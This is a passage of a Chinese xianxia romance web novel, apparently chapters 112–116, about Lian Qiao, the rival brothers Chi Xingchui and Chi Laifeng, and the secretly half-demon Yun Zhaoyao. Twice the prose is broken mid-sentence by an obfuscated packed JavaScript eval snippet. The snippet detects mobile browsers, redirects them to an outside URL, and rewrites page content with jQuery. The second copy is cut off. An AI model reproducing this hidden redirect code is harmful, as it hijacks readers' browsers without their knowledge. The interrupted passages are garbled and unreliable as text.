这次是因为上次周重啸的事让梅远山背了黑锅,而金珏不得不从百丈河那端赶回来处理天门峰大大小小的事务,导致那一片无人把守,被魔族钻了空子,还因此窜到妖族地盘上,打伤了大妖王。 百丈河内极昼和极夜轮换,在那里长期居住人极易产生恍惚,修为再高的修士也会受到影响,仅有心智异常坚定且对方向、磁场异常敏感却又耐受力极强的人,能稍微待久一些。 金珏是目前在百丈河一代时间待得最久的人,常人在那种极端的环境下非常容易精神错乱。迟星垂也只是暂时代理事务,等金珏将家里那几个现世玩意儿惹出来的麻烦处理完后,还会归于原位,继续守在百丈河。 一人一剑,看不到头的长河在日月轮转中呼啸而过,金珏为修真界奉献了她最珍贵的青春和心血。 晚间借酒楼的连翘花铺撒一地,金灿灿的一片。 以前迟来风不理解为什么借酒楼这种地方会种上连翘这般普通的花,但是和连乔接触久了他发现,这花也着实可爱。 活得轰轰烈烈潇潇洒洒,也不管百花是否烂漫,春来就开,如此旁若无人地招摇过世,与那位主人,倒是有异曲同工之妙。 继上次和连乔闹掰后,这是迟来风第一次再次来这里。 这几天他天天搁在乾元剑宗等连乔,送尽各种礼物,奈何见过世面的小姑娘,什么都不稀罕,鸽子蛋大的裂空石,看一眼就扔到一边。 她实在是一个完全不能提供情绪价值的花瓶……哦,不能称之为花瓶,她还是有点本事在身的。 围在身边贴在身上的人多了,这般性格倒也新奇。本来迟来风以为还要花点时间才能俘获美人心,没想到这么快就能上手。 也不能说是上手,只能说是让她释放内心展示真面目。 毕竟,她曾经追自己也追得紧么不是。 在等连乔的时候,迟来风随意在万机上扫一遍今日宗门要闻。名帖中有一项投票:近期迟来风和连乔走得非常近,迟来风追求连乔会成功吗? 【当然会,我投迟来风一票,压上三颗灵石。】 【我也投迟来风,压上三颗。】 【同投迟来风,这么多年,迟来风想追谁没追上?如长淮长老那位弟子,也是被其所感动。】 【又扯云招摇?是不是有毛病?】 【我投连乔,但暂时不压。】 【压连乔,十颗灵石。连乔那么有钱什么样的人捞不到,非得跟着迟来风戴一堆绿帽子。】 【同压连乔,人家那么强,一看就是事业型,为什么非要和迟来风沾边?】 【你们都在搞什么,剑宗内禁止赌博,你们还明知故犯?】 【没关系,等名帖主发现,我们已经结束了,快来快来,买定离手,买定离手……】< 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连乔:“喝点酒吧。” 迟来风:“啊?” “这么好的月色,不来点美酒多可惜。”连乔说,“我知道借酒楼有一批陈年的梨花白,不如就要那个?” 原本以为还要花点功夫才能把连乔哄骗到的迟来风:“……” 啊,到底是妖族女子开放。 迟来风原本准备几杯放倒连乔,但是对着连着喝了三坛也面色不改的连乔,迟来风陷入了沉默,他怕没给连乔哄上手,给自己喝晕了。 对面人的脸红红的,酒量么,和他哥一模一样非常一般。连乔问你还行么,迟来风虽然喝多了,但是风采尚在,他说当然行,是男人怎么能说不行。 他今天就不信了,一定要给连乔撂倒。 迟来风发了狠又开了三坛,刚要给连乔满上,万机传来讯息。 云招摇发来的,很紧急,说容瑶现在在学院门口堵着她,并且正在散播谣言。 当然不是谣言,容瑶都快要把她是妖族的证据拍在她脸上。 好不容易给云招摇找不痛快,容瑶当然不会轻易善罢甘休,就在试炼场人最多的地方大肆招摇。 周围乱成一团,容瑶又跳又闹,云招摇无力处理这么慌乱的场面,让迟来风把人带走。 迟来风给连乔倒酒,又空了三坛,连乔仍旧面不改色。他看了一眼万机,随手关掉,让人再送上十坛。 冲虚学院门口。面对容瑶的指控,云招摇无力反驳,她求救般地望向远处,但终究没等来那个人。 就看到万机上,连乔用大号亲自下场,拍一张迟来风趴倒在桌上的画面,并附言: 距离迟来风追我三天半,他已经被我拿下。我赢了,买定离手,上面的赌注都归我。 赶在封名帖维持剑宗内良好秩序的巡查员封贴之前,连乔将所有搁在名帖虚空中的灵石全部收到腰包,并且真诚留言:谢谢大家。 面对手速如此之快,还没反应过来钱包就被连乔掏空的众人:“?” 不是那个拿下啊,你是不是有什么大病啊,你还亲自来这里发癫抢钱? 有人要骂,就看到帖子被封存,连乔另起一张帖:很久之前就说过剑宗内不可赌博,仍有人明知故犯,今天这教训让你们好好长记性。 有人骂,有人叫,有人发狂…… 人乱糟糟的,消息也乱糟糟的,有人笑她虚伪,有人用异样的眼光看她,有人直接破口大骂说她自己就是妖修还瞧不起别人……云招摇闭上了眼,所有她精心经营的一切,就这样轻轻松松被人剥夺了。 她所珍视的,他人不屑一顾。 她所祈求的,他人践踏贬低。 她所自卑的,他人随意凌辱…… 云招摇望着万机上迟来风那张睡脸,握紧了手。“呛”一声,冰纹从她手下沿着万机边角蔓延,一直到碎裂成渣,她就这样紧握着碎渣,鲜血滴滴答答落了一地。 一直以来异常熟悉的声音在耳边笑了一声,黑影像蛇一样缠在脑海之中,“早让你听我的了,也不至于让局面失控成这样。” “你放心,你想要的是你的,那一切都是你的……” 113.第 113 章 百丈河内外,极昼的存在让地面生出密密麻麻的小苔藓,也仅有苔藓。过分苛责的生存条件让其他任何植物望而却步,苔藓干了又生,生了又干,此时是重生复燃的时间,苍翠一片。 修补完结界裂缝时,沙漏刚好转完两遍,便是两天两夜。 吴息无声无息绕过来,不需要跟踪连乔以后,他一直在百丈河一带。见到迟星垂,他行礼,“公子,百丈河以东那边近期比较安静,不过……” 他迟疑一下,“不过安静得过于异常了,我们的人说近期大妖王露面次数很少,觉得情况有异。” 大妖王赫连重热衷于战争,除却经常在百丈河一带喧扰外,还喜欢往修真界边界上挑衅。 吴息的观察没有错。上一世,赫连重离开妖域,在修真界黑市上潜藏许久,算上时间,这个时候差不多了。 迟星垂问,“金珏长老到了吗?” “原本说这个时辰来的,可能路上耽搁了,边界线外的人说还没有见到她。” “嗯”了一声,迟星垂将多转了几轮的沙漏收起,转而取出万机,将上面连乔给他的留言与疑难杂问一一回复。 吴息伸头,“公子您在和谁说话呢?” 面对冷下脸来的迟星垂,吴息缩回脖子。该说不说,公子严肃起来的时候威压很大,看上去真是够吓人的。 在翻完近期剑宗发生的异闻和要事后,迟星垂的脸色更难看了。他问金珏长老说好的一天前过来,为什么现在还没有动静,你再去问问。 吴息:“为什么?” 迟星垂说你话为何那么多,让你去你就去。 吴息觉得莫名其妙的。但是等他抽空在万机上看乾元剑宗发生了什么足以让迟星垂观之色变的事,他忽然就理解了。 这些事包括但不限于连乔夜会迟来风啊,连乔和迟来风大半夜出去喝酒啊,迟来风送一大片珍宝给连乔以表真心啊…… 连乔好像天生有吸引热话题的体质在,走到哪里,哪里都是腥风血雨。 吴息觉得,好像有一大顶绿得发光帽子扣在了自己家主子头上。 但是话又说回来了,现在连乔也只是他师妹嘛,他喜欢但是没有表白,帽子还没戴上呢,绿不绿无所谓的。 占有欲这么强发什么癫啊? 不过吴息转念又想,迟星垂好歹是有点儿人气了。 和连乔在一起,他至少还有情绪起伏,不至于总是像一具行尸走肉。 他情绪异常就会全身剧痛的顽疾,很久没有再复发了。 在沙漏轮转三圈,意味着又过三日,而金珏仍旧没有来往的消息时,迟星垂以为她路上出了什么问题,正要遣人去异域接人,吴息跑过来禀报说,金珏长老已经到了。 金珏速度很快,迟星垂与她完成交接工作,两人同样是实质大于形式的人,不喜说话,整个过程也沉静无言。 临走前,迟星垂向她行拜别礼,金珏望着他,“星垂,你长大了。” 她笑一笑,完全是长辈的温和,“嗯,与你母亲也越来越像了。” “我和你母亲是很多年的好友,从小一同拜入乾元剑宗门下,那时候乾元剑宗还只是剑宗,没有这么多门派,更没有冲虚学院,她剑术很强,适应力也很强。”她歪了歪头,陷入某种回想,“嗯,比我强很多,所以在大妖王肆意破坏百丈河以及冰原一片与人族交接屏障时,她也是作为先遣队伍,第一批出发的。” 那是一段修真界都不愿提起的惨烈回忆——不知是谁泄露了行踪,亦或是大妖王在修真界安插了奸细,那一批大剑仙,连同着无坚不摧的银灰飞舟,都丧生在大荒原。 提起这段往事,金珏微微叹了一口气。离那时还是懵懂少女的她已经过了很多很多年,青涩的容颜褪去,眼角的细纹虽然不明显但是确实存在,即使非常注意保养,鬓角仍旧染上浅淡的白霜。 她模样一直不出挑,无论是曾经还是现在。岁月给她身上渡上一层温柔气,也慢慢含,住她的棱角,让她变得不再张扬。 她看着迟星垂笑了笑,伸手拍一拍他的肩膀,她说你和你母亲一样优秀,后生可畏。 在她抬手的瞬间,迟星垂闻到一股极淡不易察觉的香味。 与金珏道别完,又简单收拾一番,在第二日傍晚,迟星垂才回到云中峰。 云中峰安静异常,凌阿在成英轩那里,童元宝和邵吴兴在学院帮虞南子办事,连乔……连乔自然也不在的。 不知道在哪里鬼混。 很奇怪,从前回来,无论什么时候多么空寂,迟星垂也不觉得有什么。他习惯独来独往,人多反倒嘈杂。但是这次,他确实是想有什么人在的。 原本要回月桂苑,但两日前发生的事让他头疼胸闷,便不想将自己禁锢在那安静得诡异的黑暗角落中。 桃花落了一身,不再是清香,反倒充斥着焦糊味和血腥气。迟星垂后知后觉发现想,暗疾又开始发作了,山雨欲来一般,疯狂呼啸。 自从上次服用碧心兰,就很少再犯病。迟星垂找了个地方坐下,闭上眼睛,恍惚间好像又闻到那种香味。 金珏身上的香味。 那味道他很熟悉,在云岭待过一段并不舒适的时光,那味道也萦绕在脑海中挥之不去。 虽然在修行上没有什么天赋和心思,但是后以兰对制香颇有造诣,她配置的安神香以灵药为原料,不仅有静心安神之效果,还有种独有的清香,味道绵长,沾染衣袖后,亦可留存多日。 后以兰制香的味道,为什么会留在金珏身上? 她们之间认识么? 半睡半醒之间,仿佛坠到熊熊烈火之中,皮肤被火苗舔舐,发出焦灼的撕裂声,血腥气混杂着皮肉烧焦的味道,不停回绕又盘桓在脑海中。 …… 从冲虚学院回来,推开门的连乔便看到这一幕:迟星垂躺在石椅上睡着了,月光打在他身上,就像玉石雕刻的人。 晚风卷着桃花往下落,他身上,衣袖上都是落花,身上也沾着花香。 如果连乔会画画,那么她一定要画这美人月下图,如果她会谱曲,那一定会写出一首美人半睡曲——可惜她不仅不会画画还五音不全,于是面对这绝美的一幕,她惊恐地捂住嘴:“WOC!” 迟星垂什么时候回来的?咋跑她这里了? 看上去他睡得不安稳,脸色惨白无比,连唇色也泛出淡淡的水色。额头上的汗一颗一颗滚落,脖颈上,胸口上也都是汗水,衣襟也被打湿。 连乔喊他两声,迟星垂迟星垂,对方没反应,她心想晚上虽然冷,但他有灵力护体,就这么丢在外面一夜,应该问题不大。 但是她走了两步又回过头,想着说不定迟星垂来这里是找她求助呢? 听闻他去百丈河了,说不定是在百丈河受了内伤,虽然有时候他不太做人,但是念在他为保卫修真界和平和安宁的份上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150884|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她应该勉强不让他露宿山头。 “迟星垂。”连乔摇摇他。 没反应。 看来睡得很熟了。 连乔叹了口气,心想美人幸亏你今晚是躺在我这里,要是你露宿在别的地方,你这绝美容颜必然会被人觊觎并且吃干抹尽。 连乔伸出双手,一只手伸到迟星垂脖子下,一只手伸到他修长的双腿下。 迟星垂很高,看着纤瘦实际非常有料,所以想公主抱,姿势对但是也很吃力。 “三二一……”连乔一用力,迟星垂纹丝不动。 她缩回手,来回搓了一下,又恢复方才那个动作,再次猛地用力。 豁。 很重,没有抱动,并且又摔回石椅上,“咚”的好大一声。 不仅迟星垂,连乔也摔下来,但好歹下面有肉垫挡着,她脸朝下怼在迟星垂小腹上,很明显感觉迟星垂痉挛一下。 “……” 连乔缓缓从迟星垂腰腹上抬起头,又缓缓地对上一双惊慌的害怕的惶恐的探究的双眼。 在连乔的尴尬中,迟星垂抬起手,慢慢地抱住了自己。 连乔:?这什么自我保护的姿势? “你还真是可怕,还会自己贴到人身上。” 连乔:“……” 我的沉默震耳欲聋。 不是你想的那样,我没有那么猥琐。 我要是说我只是想带你回温暖的房间里睡觉,你信吗? 这动作极其诡异和不可描述,所有的语言在此刻都异常苍白无力。连乔从迟星垂身上下来,前者向来子弹轰不破的脸皮居然罕见地浮出红晕。 “我想带你回去睡觉。”她说。 迟星垂:“啊?” 他沉默了很久,久到地上的花瓣都堆了几层,“你也不要这么直接。” “啊?”连乔摆手,“不不,我的意思是在这里不好,去房间,那里舒服一点。” 说完更沉默了。 算了,毁灭吧,越描越黑,越解释越黄…… 早知道抓着他的腿拖回去好了,哪有这么多事。 在连乔下巴都要戳进胸腔里自杀的羞愤目光中,迟星垂极轻地笑了一声。 随后越笑越控制不住,索性背过身去。 连乔望着迟星垂耸动的肩膀,“你笑什么?” 没有得到回答,连乔上手就要捶他,快如擂鼓的拳头还没落下,便被包裹在一张大手里。 对上一双深邃而明亮的眼睛。 迟星垂说,“本来遇到一些不好的事,心情不怎么愉快,但是逗一逗你,好像所有的烦闷和郁结,都一扫而空了。” 连乔大怒,“你装的?” “不完全,至少一开始暗疾发作是真实存在的。” 迟星垂并没有松开连乔的手,连乔想收回去,迟星垂说你得保证你不打人,连乔说抱歉我手欠做不到啊。 迟星垂看了她一眼,光明正大地控制住她。 对方的体温从他手心传到她手背,连乔发现自己的心跳得好快。 不是骗迟来风哪种,是真的跳得很快。 和她说了近期去百丈河的经历和遭遇后,迟星垂放开她,起身进了内院。 连乔:“那是我的地盘,你要搞什么?” 迟星垂:“我要去舒服一点的房间睡。” 连乔:“……” 没完没了了是吧。 114.第 114 章 温暖的房间内。 等迟星垂服用下碧心兰制成的丹药,连乔才开口,“之前不是服用下碧心兰了么,默非说你基本痊愈了,怎么又突然变成这样了?” 她探下身,紧盯着迟星垂,“你去百丈河还做什么了?” 迟星垂说也没有做什么,这一次还是和以前一样,日常工作日常交接。 往香炉里丢几片安神香,连乔又点火将安神香燃上,盖上盖子,“好吧,那等你想到什么跟我说。” 望着连乔点香的动作,迟星垂微微蹙眉。 “怎么了?” “没有。” “你那样子很明显有什么。”连乔将椅子拖过来,坐在他对面,指迟星垂,又指向自己,“你是不是想瞒着我?” “不是。” “那为什么?” 迟星垂说是家事。连乔说家事也得和我说,因为我们俩是一根绳上的蚂蚱。迟星垂叹了口气,将自己嗅到金珏身上染有后以兰配制的安神香一事告诉连乔。 连乔:“后以兰?” “嗯,我不是没有怀疑过她有问题。”迟星垂道,“我的暗疾大多在迟家时发作,即使请了最厉害的医师,也找不到原因。” “后来师父接我回云中峰,他平日不与人来往,我一个人在这里待了很多年,修行与修心,慢慢地摆脱暗疾的折磨。” “不过……”迟星垂道,“仍旧不能有情绪波动,会很容易恶念不断。” 连乔指了指自己,“比如你上一世被真正的连翘带走,之后被她……哦不,被她那群手下各种折磨,造成你后期心魔缠身?” 迟星垂闭上眼,“嗯。” 连乔“嘶”了一声,“可是你病得这么重,迟家主不知道么?” 自己的大儿子,又是与心爱之人唯一的孩子,染上这种恶疾,按理说迟纵深应该是对他呵护备至,不让他受一点委屈和折磨才对。 怎么还需要虞南子亲自出面,才让迟星垂过上安生不被刺激的生活? 桃花落在迟星垂睫毛上,被他的长睫接住。连乔听到他说,他没那么闲工夫,他有自己的事,也有一个更疼爱更优秀的小儿子。 换言之,迟星垂虽然突出,但是救他需要耗费远比培养他更多的精力。相比之下,会炒作会宣扬还特别会提供情绪价值的小儿子,更值得迟纵深耗费心血。 连乔不说话了,望着迟星垂那苍白惨淡的脸,一股莫名的酸涩冲入胸腔。 啊,难道这就是传说中的……畸形的家,恶毒的后妈,冷漠的父亲和破碎的他。 啧,好惨。 不过还好迟星垂有个疼爱自己的师父。 将故人之子一手带大,护他安全成长,应该也慰藉虞南子没有救回钟蕴的遗憾吧。 …… 在冲虚学院学习的时光枯燥而又漫长,连乔很享受这安逸不被打扰的氛围。上一辈子她成名早,后来档期很满,很少有沉下心来好好学习的时间。 不被繁琐的工作充斥,安心去做自己想做的事,在任何时间任何地点任何世界,都是可遇不可求的。 上午有两轮课程,一轮为综合知识课,另一轮为选修的专业课。专业课程连乔选择了符箓绘制,这本来是她的亲师父虞南子教授,但虞南子不知道去了何处游历,这课程由另一位符修师父教授。 在看到携带厚厚书籍和符纸的迟星垂出现时,连乔彻底愣住。 迟星垂将教材放在桌上,说无为长老今日有事,由他代授符箓课程。 迟星垂师承虞南子,据说在符箓上的造诣青出于蓝。 他的出现,还在女修中引来小小的骚动。 一下课白花惊就冲过来,她问连乔是不是迟星垂过来代无为长老的课。说外面都传疯了,迟星垂今日一身锦衣长袍极为绝美,不仅长得好符也画得好,把报符箓课程的女弟子们迷得神魂颠倒。 连乔:“啊,他确实去授课了。”但是她全程用心画符,没有注意到迟星垂今日穿什么,还穿得非常绝美? 白花惊:“明天还有一程符箓课,到时候我逃课去你那里,你给我占个座。” “?” 白花惊:“好不好嘛~” “小白花,修行更是修心养性,你现在是越来越坏了。” “那是因为以前我太弱了没有变坏的资本,我那么弱还不听话,我怕得罪了别人捶我。”白花惊说话的时候脸上浮出一丝红晕,“自从和默非师父学了很多,我觉得我有底气了。” 连乔的表情一言难尽,“你不要好的不学坏的学,默非不是什么正经人,你要明辨是非。” 上完一天的课程,傍晚天色黯淡,和连乔预想的一样,迟来风又等在学院门口,华衣锦袍玉树临风。 这段时间,他雷打不动地接她下学,和当年追求其他他所爱慕的对象一样,给足了对方排面和耐心。 春季雨水多,又是飘着丝丝点点的雨星子,迟来风站在台阶下,仰着头对她挥手。 连乔:“……” 她倒吸一口凉气,微微张大了嘴,与她同样表情的还有旁边一直往嘴里塞借酒楼今日份限定糖球栗子的白花惊。 不是被迟来风精心的装扮帅到了,而是在不远处,迟星垂也一席华服美得不成样子地出现了。 他撑着伞望向她,凉风吹起了他的衣摆。 不知道想到了什么,白花惊又红起了脸,“连乔,迟师兄……啊星垂师兄是在等你吗?” “怎么可能?”连乔道,“他白日不是在这里上课么,刚好可以一起回去。” “我不信,他这样子就是在等你。”白花惊,“哦吼,你完了,你要翻船了。” 连乔:“翻什么船,不存在的。” 在冷风中迟来风等了许久,看到连乔的一瞬间他的脸上挂上大大的微笑,连乔说好巧啊,你也在这里啊,迟来风一脸我为什么在这里你不知道的神情。 他说:“你要去哪里?我送你。” 还没来得及点头,迟星垂喊她,“连乔。” 连乔“哎”一声,“师兄,好巧啊,你也在这里。” “不是很巧,我特意在这里等你。” 连乔:“……” 白花惊斜睨连乔一眼,心想我说的吧,脚踩几只船迟早要翻车。 连乔用眼神回话:你在说什么,怎么会呢,脚都没踩上船,怎么会翻呢。 白花惊:可是我觉得,迟星垂来这里就是为了监视你,你最近和迟来风太招摇了,比云招摇当年还要招摇。 连乔:你在说什么鬼话?又在看什么新书吗? 白花惊:…… 迟星垂撑着一把伞,手上还拿着一把伞,他将手中的伞递给连乔,“回云中峰吗?走吧,我也回去。” “哎。”迟来风提醒,“兄长,我先来的,排个队?” “我在等我师妹为什么要排队。”迟星垂问,“你没有自己的师妹么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么叫下头男,这就是。”对面的迟星垂晚上不回去,还在盯着她继续写写画画,连乔说,“他是不是有什么毛病,盯着我回来就算了,还不让我玩万机,连通讯符都不让我用。” “他自己习惯过与世隔绝的生活,就要我也这样吗?”连乔长叹一口气,“你说,他是不是变态啊?” 系统:“额……” “宿主。”将一切都看在眼中的系统真诚道,“我怎么觉得,他让你回来写作业,是为了让你离迟来风远点呢?” 连乔:“……” “还有,掐断你万机和通讯符,也是因为迟来风刚刚一直找你。”系统道,“宿主,迟星垂在保护你。” 连乔:“盯着我画一晚上符,这叫保护我吗,有这种变态的保护方式吗?” “可是这一晚他都在陪你哎,你不会的他都耐心指点,还有他之前在百丈河时你给他留言的那些问题,他也一一融在方才的案例中,都讲解到位了。” “你没有发现嘛,一开始你画得那些符都不能用,经过他指导,你的符画得越来越好,最后的十张都一气呵成,没有废掉一个。” 系统悠悠地叹一口气,“宿主啊,这说明了什么?” 连乔大言不惭,“这能说明什么?说明我很优秀啊。” 这又给自己贴金了吗? 系统彻底震惊了,外加非常无语。 好吧,她承认,这个人就是很特别,不按常理出牌,内核强大且稳定发疯,就是这么肆意这么坚定,所以才会被自己找上。 115.第 115 章 安静的房间里。 云招摇找了个地方坐下,她对这里很熟悉,至少在前一段时间,她是这里的常客。 至于现在,她不确定连乔有没有来过。 云招摇是个有轻微洁癖的人,一想到连乔跟着迟来风在这里做过他们曾经过做过的事,她从身体上和心理上都有些恶心。 迟来风倚在窗前,目光穿过屋内奢华的各类摆设,望向她。 对于她,他仍旧是保持风度在,温柔有礼,张弛有度。 这次继前几日争吵后,二人第一次平心静气坐下来面对面。 被心爱的男人伤了心,云招摇这几天休息都不好,看上去脸色很差。 她本以为不过是养在大海里面那条最大的鱼跑了,再找一个便是。 但是这几年,迟来风的耐心温柔以及照顾有加,让她一直以来艰难的日子变得不再那么难捱,他也确实是个招女人喜欢的人,无论云招摇承认与否,都不可无视这个事实,她对迟来风,是有动心的。 一直以来,迟来风都对她无条件偏爱,让她以迟来风的未来道侣自居,所以在迟来风说出,我可以爱你,但是我不能娶你这句话时,云招摇崩溃了。 她问,为什么,我哪里配不上你? 我云招摇无论长相、能力、亦或是做人处事的态度都很难挑剔,我哪里让你不满意? 迟来风说这和你没关系招摇,你很优秀,也很漂亮,我迟来风愿意娶你,但是迟家的二公子,不能娶一个没有任何身份地位的孤女。尤其是现在你深陷妖修风波之中。 当然这些话没有直说,但是话里话外很明显,就是这个意思。 云招摇说:“我不合适,那连乔就合适吗,她也是妖修,她之前甚至都普普通通流言蜚语满天飞,没有任何好名声而言,你们迟家,看不上我,就看得上子午谷那个嚣张跋扈的丫头吗?” 闻言迟来风只是叹了一口气,他说,招摇,连乔的父亲是连云天。 连乔是子午谷的谷主。 连乔是借酒楼的主人。 半个云来城都是连乔的…… 那一刻,除了深深的无力,充斥在云招摇肺腑的,便是极致的愤恨。 她抬手擦掉挂在脸上的眼泪,“那这么说,我们这些年经历的一切都不作数,那所有高兴的悲伤的令人烦恼的难以忘怀的记忆,在你心里,算什么呢?” 我云招摇在你这里,算什么呢? 迟来风说,“你可以是我的爱人,情人,甚至是小夫人,只要你愿意,我的心还是你的。” 他说招摇,你知道我的母亲吗,她风华绝代,还十分聪明,我父亲也爱她爱得深沉,但这并不妨碍她只是云岭的代夫人,永远活在钟蕴夫人的阴影之中。 因为她没有强硬的背景,她只是一个普普通通的剑修。 正如我的祖父与昆仑轩辕家结好,我的父亲与钟山钟家结好那般,我也只能与一个旗鼓相当的对手结秦晋之好,无论我是否喜欢她。 之前最好的对象是临江容家容瑶,现在最好的对象是子午谷连乔——一个能够给予他极大帮助去打败迟星垂继承迟家家主之位的强大支撑。 即使这么多年的时光没有错付,即使他真心爱慕云招摇,但他也不能娶她。 他说:“招摇,我可以给你一笔丰厚的费用,足以让你在修行之中后半生无忧,你考虑一下。” 三天了,云招摇考虑结束。 迟来风问她接受这个结果吗? 云招摇伸手,替他理了理被风吹乱的衣领。 “来风。”云招摇叹了一口气,“我想清楚了,我接受你的建议。” 虽然早有打算,但迟来风仍旧心中一恸,云招摇的手划过衣领,手背贴过他脸颊,是冰凉的触感。 “你从小便体寒,这么多年用了那么多灵药也没有用缓解。”迟来风握住她的手,十指交叠,“招摇,以后即使我不在,也好好照顾自己。” 云招摇只是笑了笑,她抬眼,对上迟来风深邃的双瞳。女子深褐色的瞳孔不知何时翻上一层猩红色,她本长得清纯,红色的瞳孔便衬得她越发艳丽。 清纯与魅惑交碰,便是极致的动人。 迟来风原本准备放开云招摇的手,不知怎的,忽然又按住她手腕,将她冰凉的手背,贴在自己脸上。 也不知怎地,就搂住了她的腰,像以前一样情不自禁地吻上去。 一直到越过那条红线。两个人躺在床上相互缠绕时迟来风还在想,马上就要和心爱的人说再见了,就算逾矩了也没什么关系,就当作是最后的疯狂。 * 这几日仍旧是平静的学习时间,唯一不同的就是迟星垂日日代课,不仅代符箓,还会代阵法,甚至是五行之术、民间风俗…… 只要连乔选了课程,他就会出现在课堂上,并且无论是什么奇怪的甚至可以称得上偏门的课程,他也能说得异常生动。 连乔:…… 终于她忍不住了,“迟星垂你怎么会这么多?” “两世为人,修行是累加的,我知道这么多也正常。” “修行累加?”连乔沉顿,心想那原主以前是真的没什么本事,导致她过来,不仅继承了一堆烂摊子,还继承她那疲乏残破的身体。 “嗯。修行之中,如果不是因为金丹破碎或者识海碎裂而导致修为消散,只要你存在,你的修为就与你本为一体。”迟星垂道,“我重活一世,我仍旧是我,所以仍旧继承之前的修为和道行。” 难怪第一次见迟星垂,当时瞳耀一群人将他掳走,给他下了很重很重的迷药,他仍旧能挣脱禁锢,并反过来给予她重击。 这样说来,一切就都解释得通了。 “那我打个比方,就是如果有机会,我回到原来的世界,那我能继承我的修为吗?”连乔问,“还是说这具身体会继承修为?” “修行修心,体为虚,魂与识海为本。”迟星垂望着连乔听完后渐渐扬起来的笑,将手中纸卷起来的敲在她头上。 “但这也随世界与灵气,如果你世界为末法大陆灵气稀薄,你也没有修成正果拥有隔空抽调灵力的能力,以你现在的状态,回到你的世界,也仍旧是个普通人。” 这不就悲催了? 连乔还以为自己找到某种绝学,到时候能够弹指一挥间让对家全部闭嘴,让那些造黄谣的狗仔和营销号全部炸号,给他们一锅端了呢。 “而且无论哪个世界,都会有有异能管理部门存在,不会让你这么胡作非为。”迟星垂将纸重新铺开,在上面添了几笔,由一个剑阵换成另一个,又抬手敲一下发呆连乔的额头,“你想 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“这让我有种诡异的错觉。”对上迟星垂探究的目光,连乔道,“我总觉得你日日在这里接我下学,是为了截胡。” “截胡?” “你是不是怕迟来风来找我,然后我和他去鬼混?” 迟星垂:“……” 沉默了一下,他说,“是,也不是。” “连乔。”迟星垂转过脸来,阳光透过学院外的古银杏树,形成细细的光柱打在他脸上,他长长的睫毛像是渡了一层金光。 他说,“难道我不可以想接你才来接吗?” 连乔怔愣一下,一瞬间好像忘了呼吸。 “哦。”她说,“可以理解嘛,我这么动人,很多人看见我就情不自禁对我好。” 迟星垂:“?” “想接我便接我,倒也不需要用迟来风来当做借口。”连乔努努嘴,示意迟星垂看前方。 练剑场外,迟来风搂着云招摇,送她入场,又依依不舍告别。 迟星垂:“……几日前他不是让我不要暴打你们这对鸳鸯么?” “连乔。”望向连乔的目光居然还有安慰,迟星垂道,“也不用伤心,其实有些姻缘,没有了会比得到更好。” 在连乔迷茫的目光中,迟星垂道,“就比如迟来风,每年从各地找到迟家要他负责的人不知凡几,我不常回云岭,但是也见到过。” 如此可见其拈花惹草之频率。 以后云招摇这头上的绿帽,不得俄罗斯套娃一样一层套一层啊。 虽然现在已经很绿了。 迟星垂拍拍她的肩,“会有更适合你的且待你更好的人出现,不用难过。” “……”连乔吸了吸鼻子,“谢谢师兄安慰?” “嗯不客气。”迟星垂领着连乔来到阴阳境七十三境前,微笑道,“快进去吧,不破至八十境别出来。” 连乔一甩胳膊,愤怒回瞪迟星垂,“我真是谢谢你哦?” “说了不客气师妹。”被连乔猛捶一下,迟星垂痛得咳嗽几声。她手劲太大了,一般人真挨不了她这么打。 “八层阴阳境而已,你可以的。”迟星垂束手站在阴阳境外,虚无的灯光在他身边笼出一层光晕,“不用急,我就在这里,等你出来。” 116.第 116 章 幽暗阴森的密闭空间里,黑影蛇一样缠过来,绕着云招摇一圈,如同她衣裙上的彩带。 “我跟你说过,在剑宗不要来找我,被发现了你死了没有关系,我可不想陪着。” 黑影“嗤”一声笑了,他慢悠悠离开云招摇,化身一个身材颀长的黑衣男子。 男人束发长衣,面容冷峻,瞳孔颜色很浅,笑起来有种勾人心魄的美。 他坐到云招摇面前,直言不讳道,“我真是非常喜欢你这么直接的性格,虽然你在人前温柔无害,谁又能想到面具下的你是这样一面呢?” “说真的,招摇,放弃迟来风那个蠢货吧。”赫连重双手张开,做了个拥抱的姿势,“你来我身边,我不会像他那样对你。” 翻了个大大的白眼,云招摇冷笑,“去你身边,再和先妖王的右护法一样,遇到危险被你们毫不犹豫扔出去,之后被魔族那群家伙分尸,死无葬身之地?” “我有时候是挺固执,但是我并不蠢。”在赫连重阴下来的目光中,云招摇慢悠悠道,“看上去在你身边是挺威风的,但是在你这怎么死的都不会有人知道。” “你什么时候知道的?”面前的女子情绪稳定,应该是早就知道这些事,赫连重沉下眼,“不管你是否相信,云姬的死,是意外。” “究竟是不是意外那和我没关系,我没有说过我想成为她的女儿,更没想要继承那所谓的令人作呕的魅妖血统。” 云招摇坐在赫连重对面,慢悠悠地擦拭着自己的佩剑,“你也打消那个拉我入伍的念头吧。我只是想当一个普通的修士,做自己想做的事,不要被任何人道德绑架,更不要像云姬那个蠢货一样被你们牵着鼻子走。” 赫连重沉下脸来,“你不应该这么说你母亲。” 云招摇冷笑一声。 “不管你信不信,我的父亲很爱她,在她死后很多年,仍旧会去她殒身的地方去看看。”赫连重道,“他不知道云姬还留有一口气,也不知道她在人间流连那么多年,如果他知道,绝不会让你们……” “绝不会让我们在人间混日子,会接我们去妖族?让我再重复一遍云姬的命运,继承她的地位,成为你的右护法。之后被你们利用,剩余价值榨干以后恨不得马上甩开?” 云招摇笑了,“收起你那愚蠢而又幼稚的想法,赫连重,但凡你有赫连耀一半的魄力,都应该想得到我不会真心留在你那里,我甚至一直为我身上流有魅妖的血感到无比恶心。” 